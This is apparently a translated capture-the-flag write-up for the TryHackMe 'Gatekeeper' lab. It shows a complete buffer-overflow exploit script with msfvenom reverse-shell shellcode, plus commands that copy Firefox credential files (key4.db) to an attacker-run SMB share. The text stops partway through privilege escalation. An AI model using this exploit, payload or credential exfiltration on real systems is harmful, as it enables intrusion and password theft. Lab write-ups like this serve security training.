This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Gatekeeper


Throughout this machine, we analyze a binary and exploit a buffer overflow vulnerability that gives us access to the server. For privilege escalation, we extract the credentials stored in Firefox using the Firepwd tool.

June 24, 20248 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

$ ping -c 1 10.10.30.181

PING 10.10.30.181 (10.10.30.181) 56(84) bytes of data.
64 bytes from 10.10.30.181: icmp_seq=1 ttl=127 time=266 ms

--- 10.10.30.181 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 266.290/266.290/266.290/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 127, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Windows

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.53.55 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.53.55
   5   │     [*] Open ports: 135,139,445,3389,31337,49152,49153,49154,49155
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

$ nmap -p135,139,445,3389,31337,49152,49153,49154,49155,49161,49165 -sCV 10.10.30.181 -oN versions

PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds       Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
|_ssl-date: 2024-06-26T12:00:08+00:00; -1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: GATEKEEPER
|   NetBIOS_Domain_Name: GATEKEEPER
|   NetBIOS_Computer_Name: GATEKEEPER
|   DNS_Domain_Name: gatekeeper
|   DNS_Computer_Name: gatekeeper
|   Product_Version: 6.1.7601
|_  System_Time: 2024-06-26T12:00:03+00:00
| ssl-cert: Subject: commonName=gatekeeper
| Not valid before: 2024-06-25T11:45:14
|_Not valid after:  2024-12-25T11:45:14
31337/tcp open  Elite?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     Hello GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
|     Hello
|   GenericLines: 
|     Hello 
|     Hello
|   GetRequest: 
|     Hello GET / HTTP/1.0
|     Hello
|   HTTPOptions: 
|     Hello OPTIONS / HTTP/1.0
|     Hello
|   Help: 
|     Hello HELP
|   Kerberos: 
|     Hello !!!
|   LDAPSearchReq: 
|     Hello 0
|     Hello
|   LPDString: 
|     Hello 
|     default!!!
|   RTSPRequest: 
|     Hello OPTIONS / RTSP/1.0
|     Hello
|   SIPOptions: 
|     Hello OPTIONS sip:nm SIP/2.0
|     Hello Via: SIP/2.0/TCP nm;branch=foo
|     Hello From: <sip:nm@nm>;tag=root
|     Hello To: <sip:nm2@nm2>
|     Hello Call-ID: 50000
|     Hello CSeq: 42 OPTIONS
|     Hello Max-Forwards: 70
|     Hello Content-Length: 0
|     Hello Contact: <sip:nm@nm>
|     Hello Accept: application/sdp
|     Hello
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|_    Hello
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49155/tcp open  msrpc              Microsoft Windows RPC
49161/tcp open  msrpc              Microsoft Windows RPC
49165/tcp open  msrpc              Microsoft Windows RPC

SMB

We start by enumerating SMB

smbclient -L 10.10.30.181                         
Password for [WORKGROUP\d3bo]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Users           Disk

There is a share called Users that we have permission to access

$ smbclient //10.10.30.181/Users      

Password for [WORKGROUP\d3bo]:

smb: \> ls

  Default                           DHR        0  Tue Jul 14 09:07:31 2009
  desktop.ini                       AHS      174  Tue Jul 14 06:54:24 2009
  Share                               D        0  Fri May 15 03:58:07 2020

smb: \> cd Share
smb: \Share\> ls

  gatekeeper.exe                      A    13312  Mon Apr 20 07:27:17 2020

Inside the Share folder there is a file called gatekeeper.exe. We’ll download it and open it on a Windows machine to see what it does.

The program opened port 31337 on my Windows machine. As it happens, the service opened by gatekeeper.exe seems to be the same one running on the target machine.

$ nc 192.168.1.142 31337                                                                          
Testing
Hello Testing!!!

$ nc 10.10.30.181 31337 
Testing
Hello Testing!!!

If I send it a very large input, the program crashes, so let’s see what’s going on from Immunity Debugger.

BoF

We start by sending 1000 ‘A’s

python3 -c 'print("A" * 1000)' | nc 192.168.1.142 31337

In Immunity Debugger we see the program has crashed. The error message says the program doesn’t know where to continue because the address 41414141 doesn’t exist. This is because we sent such a large input that we overwrote registers in memory, such as EIP, which holds the next address the program will execute. Since we overwrote EIP with 41414141 (AAAA), the program crashes. Knowing this, we’ll try to exploit a buffer overflow

We start by setting mona’s working folder

!mona config -set workingfolder C:\Users\arnau\Downloads\bof

Next, we create a 5000-character string that will help us find the offset to EIP

!mona pattern_create 5000

mona creates the pattern file in the folder we specified earlier

Now we send the whole string again.

nc 192.168.1.142 31337    
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk

To calculate the offset automatically with mona pattern_offset, we pass it the value of EIP

!mona pattern_offset 39654138

It found the offset is 146, which means we need to send 146 characters to overwrite EIP

The next step is to check for badchars; to do so, we create a byte array with:

!mona bytearray -b "\x00"

We’ll use the following script to send all the bytes

from pwn import *
from struct import pack

offset = 146
before_eip = b"A" * offset
eip = b"BBBB"

badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

payload = before_eip + eip + badchars

host, port = "192.168.1.142", "31337"

r = remote(host, port)
r.sendline(payload)

In Immunity Debugger we can see all the bytes we sent

To check that no byte causes problems, we use !mona compare, passing it the bytearray.bin file it created earlier, along with the address where the badchar string starts

!mona compare -f C:\Users\arnau\Desktop\bof\bytearray.bin -a 016319F8

It found 2 badchars [\x00, \x0a]

To exploit the BoF, we have to put in EIP the address of a jump to ESP, where our shellcode will be

!mona find -s "\xFF\xE4" -m gatekeeper.exe

We can use either of the 2, since both have {PAGE_EXECUTE_READ}

Finally, we create the shellcode, specifying the badchars we found while analyzing the program

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.150 LPORT=443 --platform windows -a x86 -e x86/shikata_ga_nai -f py -b "\x00\x0a" EXITFUNC=thread

buf =  b""
buf += b"\xbf\x4f\x6e\xb7\x71\xd9\xc0\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x52\x31\x78\x12\x03\x78\x12\x83\x8f"
buf += b"\x6a\x55\x84\xf3\x9b\x1b\x67\x0b\x5c\x7c\xe1\xee"
buf += b"\x6d\xbc\x95\x7b\xdd\x0c\xdd\x29\xd2\xe7\xb3\xd9"
buf += b"\x61\x85\x1b\xee\xc2\x20\x7a\xc1\xd3\x19\xbe\x40"
buf += b"\x50\x60\x93\xa2\x69\xab\xe6\xa3\xae\xd6\x0b\xf1"
buf += b"\x67\x9c\xbe\xe5\x0c\xe8\x02\x8e\x5f\xfc\x02\x73"
buf += b"\x17\xff\x23\x22\x23\xa6\xe3\xc5\xe0\xd2\xad\xdd"
buf += b"\xe5\xdf\x64\x56\xdd\x94\x76\xbe\x2f\x54\xd4\xff"
buf += b"\x9f\xa7\x24\x38\x27\x58\x53\x30\x5b\xe5\x64\x87"
buf += b"\x21\x31\xe0\x13\x81\xb2\x52\xff\x33\x16\x04\x74"
buf += b"\x3f\xd3\x42\xd2\x5c\xe2\x87\x69\x58\x6f\x26\xbd"
buf += b"\xe8\x2b\x0d\x19\xb0\xe8\x2c\x38\x1c\x5e\x50\x5a"
buf += b"\xff\x3f\xf4\x11\x12\x2b\x85\x78\x7b\x98\xa4\x82"
buf += b"\x7b\xb6\xbf\xf1\x49\x19\x14\x9d\xe1\xd2\xb2\x5a"
buf += b"\x05\xc9\x03\xf4\xf8\xf2\x73\xdd\x3e\xa6\x23\x75"
buf += b"\x96\xc7\xaf\x85\x17\x12\x7f\xd5\xb7\xcd\xc0\x85"
buf += b"\x77\xbe\xa8\xcf\x77\xe1\xc9\xf0\x5d\x8a\x60\x0b"
buf += b"\x36\x75\xdc\x12\x50\x1d\x1f\x14\x5d\x65\x96\xf2"
buf += b"\x37\x89\xff\xad\xaf\x30\x5a\x25\x51\xbc\x70\x40"
buf += b"\x51\x36\x77\xb5\x1c\xbf\xf2\xa5\xc9\x4f\x49\x97"
buf += b"\x5c\x4f\x67\xbf\x03\xc2\xec\x3f\x4d\xff\xba\x68"
buf += b"\x1a\x31\xb3\xfc\xb6\x68\x6d\xe2\x4a\xec\x56\xa6"
buf += b"\x90\xcd\x59\x27\x54\x69\x7e\x37\xa0\x72\x3a\x63"
buf += b"\x7c\x25\x94\xdd\x3a\x9f\x56\xb7\x94\x4c\x31\x5f"
buf += b"\x60\xbf\x82\x19\x6d\xea\x74\xc5\xdc\x43\xc1\xfa"
buf += b"\xd1\x03\xc5\x83\x0f\xb4\x2a\x5e\x94\xd4\xc8\x4a"
buf += b"\xe1\x7c\x55\x1f\x48\xe1\x66\xca\x8f\x1c\xe5\xfe"
buf += b"\x6f\xdb\xf5\x8b\x6a\xa7\xb1\x60\x07\xb8\x57\x86"
buf += b"\xb4\xb9\x7d"

Now all that’s left is to listen with rlwrap nc -nlvp 443 and modify the exploit, inserting the shellcode created with msfvenom

from pwn import *
from struct import pack

offset = 146
before_eip = b"A" * offset
eip = pack("<I", 0x080416bf)

buf =  b""
buf += b"\xbf\x4f\x6e\xb7\x71\xd9\xc0\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x52\x31\x78\x12\x03\x78\x12\x83\x8f"
buf += b"\x6a\x55\x84\xf3\x9b\x1b\x67\x0b\x5c\x7c\xe1\xee"
buf += b"\x6d\xbc\x95\x7b\xdd\x0c\xdd\x29\xd2\xe7\xb3\xd9"
buf += b"\x61\x85\x1b\xee\xc2\x20\x7a\xc1\xd3\x19\xbe\x40"
buf += b"\x50\x60\x93\xa2\x69\xab\xe6\xa3\xae\xd6\x0b\xf1"
buf += b"\x67\x9c\xbe\xe5\x0c\xe8\x02\x8e\x5f\xfc\x02\x73"
buf += b"\x17\xff\x23\x22\x23\xa6\xe3\xc5\xe0\xd2\xad\xdd"
buf += b"\xe5\xdf\x64\x56\xdd\x94\x76\xbe\x2f\x54\xd4\xff"
buf += b"\x9f\xa7\x24\x38\x27\x58\x53\x30\x5b\xe5\x64\x87"
buf += b"\x21\x31\xe0\x13\x81\xb2\x52\xff\x33\x16\x04\x74"
buf += b"\x3f\xd3\x42\xd2\x5c\xe2\x87\x69\x58\x6f\x26\xbd"
buf += b"\xe8\x2b\x0d\x19\xb0\xe8\x2c\x38\x1c\x5e\x50\x5a"
buf += b"\xff\x3f\xf4\x11\x12\x2b\x85\x78\x7b\x98\xa4\x82"
buf += b"\x7b\xb6\xbf\xf1\x49\x19\x14\x9d\xe1\xd2\xb2\x5a"
buf += b"\x05\xc9\x03\xf4\xf8\xf2\x73\xdd\x3e\xa6\x23\x75"
buf += b"\x96\xc7\xaf\x85\x17\x12\x7f\xd5\xb7\xcd\xc0\x85"
buf += b"\x77\xbe\xa8\xcf\x77\xe1\xc9\xf0\x5d\x8a\x60\x0b"
buf += b"\x36\x75\xdc\x12\x50\x1d\x1f\x14\x5d\x65\x96\xf2"
buf += b"\x37\x89\xff\xad\xaf\x30\x5a\x25\x51\xbc\x70\x40"
buf += b"\x51\x36\x77\xb5\x1c\xbf\xf2\xa5\xc9\x4f\x49\x97"
buf += b"\x5c\x4f\x67\xbf\x03\xc2\xec\x3f\x4d\xff\xba\x68"
buf += b"\x1a\x31\xb3\xfc\xb6\x68\x6d\xe2\x4a\xec\x56\xa6"
buf += b"\x90\xcd\x59\x27\x54\x69\x7e\x37\xa0\x72\x3a\x63"
buf += b"\x7c\x25\x94\xdd\x3a\x9f\x56\xb7\x94\x4c\x31\x5f"
buf += b"\x60\xbf\x82\x19\x6d\xea\x74\xc5\xdc\x43\xc1\xfa"
buf += b"\xd1\x03\xc5\x83\x0f\xb4\x2a\x5e\x94\xd4\xc8\x4a"
buf += b"\xe1\x7c\x55\x1f\x48\xe1\x66\xca\x8f\x1c\xe5\xfe"
buf += b"\x6f\xdb\xf5\x8b\x6a\xa7\xb1\x60\x07\xb8\x57\x86"
buf += b"\xb4\xb9\x7d"
print(eip)
payload = before_eip + eip + b"\x90" * 16 + buf
host, port = "192.168.1.142", 31337

r = remote(host, port)
r.sendline(payload)

If you want to see a BoF exploitation in more detail, I recommend checking out the writeups for the Buff and Brainpan machines

We run the script…. and we’re in!

connect to [192.168.1.150] from (UNKNOWN) [192.168.1.142] 49184
Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

C:\Users\arnau\Desktop>

We’re in, yes, but not on the target machine, on my own machine, so we have to modify the payload and the exploit with the corresponding TryHackMe IPs.

Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\natbat\Desktop>

Now we’re really in.

Privilege escalation

We start with some reconnaissance, listing the contents of C:\Users\natbat

C:\Users\natbat>dir /S /B

...
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\key4.db
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\logins.json
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\minidumps
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\parent.lock
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\permissions.sqlite
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\pkcs11.txt
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\places.sqlite
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\prefs.js
C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\protections.sqlite
...

Among all the files, the Firefox profile files stand out, since they can contain credentials saved in the browser.

To extract the credentials we’ll use: https://github.com/lclevy/firepwd.

The tool’s README explains that to use this script you need the key4.db or key3.db file and logins.json or signons.sqlite

key4.db (or key3.db), logins.json (or signons.sqlite).

To copy the files from the target machine to ours, we start an SMB server

impacket-smbserver smb $(pwd)
C:\Users\natbat>copy C:\Users\natbat\AppData\Roaming\Mozilla\Firefox\Profiles\ljfn812a.default-release\key4.db \\10.9.3.29\smb\
        1 file(s) copied.

